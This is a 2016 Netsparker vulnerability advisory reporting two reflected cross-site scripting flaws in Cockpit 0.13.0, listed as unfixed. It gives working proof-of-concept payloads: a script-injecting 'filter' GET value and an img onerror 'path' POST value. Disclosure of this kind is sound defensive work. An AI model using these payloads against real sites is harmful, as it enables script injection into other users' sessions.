Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in Cockpit
Affected Software : Cockpit
Affected Versions: 0.13.0
Vendor Homepage :
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not fixed
Netsparker Advisory Reference : NS-16-015

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Cockpit;

URL /cockpit-0.13.0/collections/entries/{ANOTHER_ENTRIES_HASH}&filter='"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>
Parameter Name filter
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>

URL /cockpit-0.13.0/mediamanager/api
Parameter Name path
Parameter Type POST
Attack Pattern ><iMg src=N onerror=alert(9)>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
30 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
19 Sep 2016 - Advisory released


Credits & Authors
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.